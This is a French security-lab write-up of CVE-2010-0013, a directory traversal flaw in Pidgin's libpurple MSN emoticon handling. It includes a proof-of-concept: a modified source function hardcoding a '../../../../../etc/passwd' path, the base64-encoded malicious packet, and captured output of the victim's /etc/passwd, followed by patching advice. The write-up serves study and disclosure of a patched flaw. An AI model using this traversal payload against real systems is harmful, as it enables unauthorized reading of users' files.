Etude de la faille CVE-2010-0013

Directory traversal vulnerability in the MSN protocol : libpurple / Pidgin

Labo sécurité Supinfo
Montréal

Rémi Coursimault
remi.coursimault@supinfo.com

THE INTERNATIONAL INSTITUTE OF
SUPINFO
INFORMATION TECHNOLOGY

Sommaire

Introduction

Nous allons étudier une faille du programme de messagerie instantanée Pidgin permettant à un contact malveillant de lire n'importe quel fichier sur lequel Pidgin a les droits de lecture.

Plus précisément, c'est une faille de la librairie libpurple, utilisée par Pidgin et également par un autre programme de messagerie, Adium,

Elle affecte les versions inférieures ou égales à 2.6.4.

Notre but est d'expliquer le fonctionnement de cette faille dans le programme Pidgin, en fournissant aussi les éléments de base pour pouvoir la reproduite.

Très brièvement, elle permet à un contact malveillant de récupérer n'importe quel fichier en utilisant les fonctionnalités induites par les émoticônes.

Elle repose sur le fait que Pidgin ne vérifie pas suffisamment certains paramètres envoyés par un contact pour faire afficher une émoticône.

En modifiant suffisamment la requête, il est possible de faire en sorte que le programme envoie un fichier choisi par l'attaquant au lieu de l'émoticône.

Cette faille porte la référence CVE-2010-0013.

Quelques rappels

Pidgin

Pidgin est un programme Open Source qui a pour mission de concurrencer le logiciel Microsoft Windows Live Messenger couramment appelé MSN. Il permet aux utilisateurs de Linux de pouvoir dialoguer avec leur contact « MSN ».

Ce programme repose sur la librairie libpurple qui permet de simuler le protocole Microsoft Notification Protocol (MSNP) .

Ce protocole n'est plus libre depuis la version 8. Les développeurs ont dû utiliser des techniques de rétro-ingénierie pour pouvoir la développer. Il faut savoir que Microsoft n'autorise pas les techniques de rétro ingénierie sur ses logiciels (voir conditions d'utilisation), mais le droit Français autorise ces techniques**.** uniquement à des fins d'interopérabilité (article L122-6-1 du code de la propriété intellectuelle).

Les émoticônes

Les émoticônes sont de petites images qui peuvent être insérée dans un texte. Cette fonctionnalité est souvent utilisée par les jeunes. Cela permet de donner de la « couleur » à leur conversation.

Ces images sont stockées dans le dossier ~/purple/custom_smiley/ . Le fichier image de chaque émoticône est renommé, le nouveau nom est en fait la chaîne représentant son hash SHA1, par exemple : 2ea85b977cf962d53a8faf0c7219ca51204f0511.gif

Fonctionnement normal

Avant d'essayer de modifier les requêtes utilisant les émoticônes, nous allons regarder un échange normal.

Dialogue entre Alice et Bob, Alice veut utiliser une émoticône.

Phase 1

Alice utilise une émoticône dans le dialogue, elle envoie à Bob le message lui disant qu'elle utilise l'émoticône 2ea85b977cf962d53a8faf0c7219ca51204f0511.gif.

Paquet Envoyé :

```
IRO 1 1 1 Bob@coursimault.com Bob@coursimault.com%20(E-mail%20Address%20Not
%20Verified) 1074004004
ANS 1 OK
MSG Bob@coursimault.com Bob@coursimault.com%20(E-mail%20Address%20Not
%20Verified) 272
MIME-Version: 1.0
Content-Type: text/x-mms-emoticon
<msnobj Creator="Bob@coursimault.com" Size="1936" Type="2"
Location="2ea85b977cf962d53a8faf0c7219ca51204f0511.gif" Friendly="AAA="
SHA1D="Lqhbl3z5YtU6j68MchnKUSBPBRE=" SHA1C="d5KdEnN5UGq7/TBNZMC7QzB/SWc="/>
```

Phase 2

Bob reçoit le message d`Alice, contenant le nom du fichier de l'émoticône (2ea85b977cf962d53a8faf0c7219ca51204f0511.gif).

Pidgin regarde si ce ficher est disponible en local (soit il fait partie du package Pidgin, soit il a déjà été transmis).

Si oui il l'affiche, sinon il envoie une requête demandant de la lui envoyer.

Requête demandant l'image 2ea85b977cf962d53a8faf0c7219ca51204f0511.gif

```
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: Bob@coursimault.com
......W6.......................,.
............INVITE MSNMSGR:Bob@coursimault.com MSNSLP/1.0
To: <msnmsgr:Bob@coursimault.com>
From: <msnmsgr:alice@coursimault.com>
Via: MSNSLP/1.0/TLP ;branch={AA453F77-98D2-3151-9294-402748954890}
CSeq: 0
Call-ID: {4FD08FD1-8654-AB7E-4EAA-9D6F6FC795EA}
Max-Forwards: 0
Content-Type: application/x-msnmsgr-sessionreqbody
Content-Length: 385
EUF-GUID: {A4268EEC-FEC5-49E5-95C3-F126696BDBF6}
SessionID: 1942523440
AppID: 1
Context:
PG1zbm9iaiBDcmVhdG9yPSJyZW1pLmNvdXJzaW1hdWx0QHhzYWx0by5jb20iIFNpemU9IjE5MzYiIFR5
cGU9IjIiIExvY2F0aW9uPSIyZWE4NWI5NzdjZjk2MmQ1M2E4ZmFmMGM3MjE5Y2E1MTIwNGYwNTExLmdp
ZiIgRnJpZW5kbHk9IkFBQT0iIFNIQTFEPSJMcWhibDN6NVl0VTZqNjhNY2huS1VTQlBCUkU9IiBTSEEx
Qz0iZDVLZEVuTjVVR3E3L1RCTlpNQzdRekIvU1djPSIvPg==
```

La partie intéressante se trouve dans le champ Context :

```
PG1zbm9iaiBDcmVhdG9yPSJyZW1pLmNvdXJzaW1hdWx0QHhzYWx0by5jb20iIFNpemU9IjE5MzYiIFR5
cGU9IjIiIExvY2F0aW9uPSIyZWE4NWI5NzdjZjk2MmQ1M2E4ZmFmMGM3MjE5Y2E1MTIwNGYwNTExLmdp
ZiIgRnJpZW5kbHk9IkFBQT0iIFNIQTFEPSJMcWhibDN6NVl0VTZqNjhNY2huS1VTQlBCUkU9IiBTSEEx
Qz0iZDVLZEVuTjVVR3E3L1RCTlpNQzdRekIvU1djPSIvPg==
```

On remarque immédiatement que ce message est codé en base64.

Voici le message décodé :

```
<msnobj Creator="Bob@coursimault.com" Size="1936" Type="2"
Location="2ea85b977cf962d53a8faf0c7219ca51204f0511.gif" Friendly="AAA="
SHA1D="Lqhbl3z5YtU6j68MchnKUSBPBRE=" SHA1C="d5KdEnN5UGq7/TBNZMC7QzB/SWc="/>
```

Le programme Pidgin recevant ce message va donc renvoyer le fichier indiqué au correspondant pour que celui-ci l'affiche.

De cette façon, Alice peut faire apparaître l'émoticône de son choix, même si Bob n'en disposait pas au départ.

Phase 3

Alice lui envoie l'image, le paquet a été volontairement raccourci car le reste n'est pas pertinent.

```
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: alice@coursimault.com

0..sg%.~.........................(.W.....................MSG Bob@coursimault.com
Bob@coursimault.com%20(E-mail%20Address%20Not%20Verified) 1350
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: alice@coursimault.com
0..sh%.~..................... ..../bl............GIF89a........./......TF......
+..P..S...zxg..J..V..o..3.....#mT.........J....~J...{{y............|y\.....
<skip>
```

On remarque la chaine « GIF89a » dans le corps de ce paquet qui signifie que l'on envoie une image gif.

Bob va donc recevoir l'image de l'émoticône et pourra ainsi l'afficher dans sa conversation

La faille CVE-2010-0013

Le problème de ce protocole, c'est que c'est finalement Bob qui spécifie le fichier à récupérer. C'est bien Alice qui a envoyé le nom de fichier, mais c'est Bob qui renvoie ce nom de fichier pour que Alice le lui transmette.

L'intention est naturellement que Bob renvoie le même nom de fichier qu'il a reçu, mais rien n'empêche que le paquet de retour en contienne un autre.

De plus, le nom de fichier retourné par Bob peut en fait être un chemin relatif, et non un simple nom de fichier !

Voyons maintenant si nous pouvons effectivement récupérer un fichier qui se situe dans un autre répertoire. On va prendre un ficher accessible en lecture à l'utilisateur, par exemple le fichier /etc/passwd.

On se rappelle que le champ Location donne théoriquement uniquement le nom du fichier, cela veut dire que Pidgin va chercher dans le répertoire par défaut ~/purple/custom_smiley.

On va donc utiliser la technique du directory traversal qui consiste à remonter dans l'arborescence d'un système de fichier pour pouvoir atteindre le fichier que l'on désire.

Nous allons donc renvoyer la chaîne "../../../../../etc/passwd".

Et finalement, on peut envoyer une telle demande alors même que Alice n'utilise pas d'émoticône : il n'y a aucun contrôle et on peut tout simplement envoyer n'importe quand une demande de fichier.

Conception de l'exploit

Contrainte du protocole MSN

Il faut savoir que les conversations MSN utilisent un protocole extrêmement strict, il n'est pas possible de créer une conversation simplement. Il faut obligatoirement s'authentifier sur un serveur messager de Microsoft, ce qui n'est pas une procédure simple (utilisation de Windows Live ID).

Ce système a été mis en place pour deux raisons principales.

- Garder le contrôle sur le protocole MSNP.
- Sécuriser le protocole. Cela interdit par exemple le transfert de fichiers avec des extensions dangereuses comme .exe, .lnk, etc...

Le système d'authentification est complexe**,** on va donc se simplifier la tâche en modifiant les sources de Pidgin plutôt que de créer notre propre client.

Le but ici est de montrer la faille, même s'il est bien évident qu'un véritable attaquant codera son propre client.

Nous passerons sur les détails du code source de Pidgin pour aller à l'essentiel.

La fonction de Pidgin qui demande un fichier est `msn_object_set_location()` que nous allons modifier comme ci-dessous.

```
msn_object_set_location(MsnObject *obj, const char *location)
{
        g_return_if_fail(obj != NULL);

        g_free(obj->location);
        obj->location = g_strdup("../../../../../etc/passwd");
}
```

Remarque : ici la modification se fait en dur dans le code, un véritable attaquant modifierait cela différemment pour offrir plus de flexibilité pour son attaque.

On ne cherche pas ici à envoyer une requête n'importe quand, on ne le fera que si notre contact utilise une émoticône.

Résultat

Nous compilons notre Pidgin modifié, une fois authentifié par les serveur de messanger de microsoft, nous commençons une discussion avec Alice. Elle utilise une émoticône.

Notre Pidgin modifié répond à la requête de façon malicieuse.

Paquet malicieux

```
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: Bob@coursimault.com
.....
H.........................1.............INVITE MSNMSGR:Bob@coursimault.com
MSNSLP/1.0
To: <msnmsgr:Bob@coursimault.com>
From: <msnmsgr:alice@coursimault.com>
Via: MSNSLP/1.0/TLP ;branch={9B4A3653-7D3B-52ED-3963-1D6858AF1D77}
CSeq: 0
Call-ID: {5DD02CCA-9087-80D1-206B-91BCB1A02207}
Max-Forwards: 0
Content-Type: application/x-msnmsgr-sessionreqbody
Content-Length: 356

EUF-GUID: {A4268EEC-FEC5-49E5-95C3-F126696BDBF6}
SessionID: 431732973
AppID: 1
Context:
PG1zbm9iaiBDcmVhdG9yPSJyZW1pLmNvdXJzaW1hdWx0QHhzYWx0by5jb20iIFNpemU9IjE5MzYiIFR5
cGU9IjIiIExvY2F0aW9uPSIuLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIiBGcmllbmRseT0iQUFBPSIg
U0hBMUQ9IkxxaGJsM3o1WXRVNmo2OE1jaG5LVVNCUEJSRT0iIFNIQTFDPSJkNUtkRW5ONVVHcTcvVEJO
Wk1DN1F6Qi9TV2M9Ii8+
```

Voici le payload crypté :

```
PG1zbm9iaiBDcmVhdG9yPSJyZW1pLmNvdXJzaW1hdWx0QHhzYWx0by5jb20iIFNpemU9IjE5MzYiIFR5
cGU9IjIiIExvY2F0aW9uPSIuLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIiBGcmllbmRseT0iQUFBPSIg
U0hBMUQ9IkxxaGJsM3o1WXRVNmo2OE1jaG5LVVNCUEJSRT0iIFNIQTFDPSJkNUtkRW5ONVVHcTcvVEJO
Wk1DN1F6Qi9TV2M9Ii8+
```

Et le payload décrypté :

```
<msnobj Creator="Bob@coursimault.com" Size="1936" Type="2"
Location="../../../../../etc/passwd" Friendly="AAA="
SHA1D="Lqhbl3z5YtU6j68MchnKUSBPBRE=" SHA1C="d5KdEnN5UGq7/TBNZMC7QzB/SWc="/>
```

Paquets reçus en retour

Paquet 1 :

```
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: alice@coursimault.com

.......<.......................G.....................MSG Bob@coursimault.com
Bob@coursimault.com%20(E-mail%20Address%20Not%20Verified) 1350
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: alice@coursimault.com

.......<.................. .....v............root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:107::/var/run/dbus:/bin/false
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-
dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/b....MSG Bob@coursimault.com
Bob@coursimault.com%20(E-mail%20Address%20Not%20Verified) 735
```

Paquet 2 :

```
MIME-Version: 1.0
Content-Type: application/x-msnmsgrp2p
P2P-Dest: alice@coursimault.com

.......<.................K... .....v.............in/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:117:RealtimeKit,,,:/proc:/bin/false
saned:x:112:118::/home/saned:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false
coursimault:x:1000:1000:coursimault,,,:/home/coursimault:/bin/bash
mysql:x:115:123:MySQL Server,,,:/var/lib/mysql:/bin/false

....ACK 3
```

Nous voyons que nous avons reçu l'intégralité du fichier /etc/passwd.

Pidgin a même poussé l'amabilité jusqu'à découper lui-même le fichier en autant de paquets que nécessaire !

Comment se protéger ?

Pour vous protéger de cette vulnérabilité vous devez :

- Soit mettre a jour votre logiciel Pidgin.
- Soit supprimer le dossier « ~/purple/custom_smiley », mais vous n'aurez plus accès aux émoticônes.

Références :

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013

Cette faille a été révélée par Fabian Yamaguchi lors du CCC 26C3.

Les slides initiales sont sur :
http://events.ccc.de/congress/2009/Fahrplan/attachments/1483_26c3_ipv4_fuckups.pdf

(slides 10 à 22)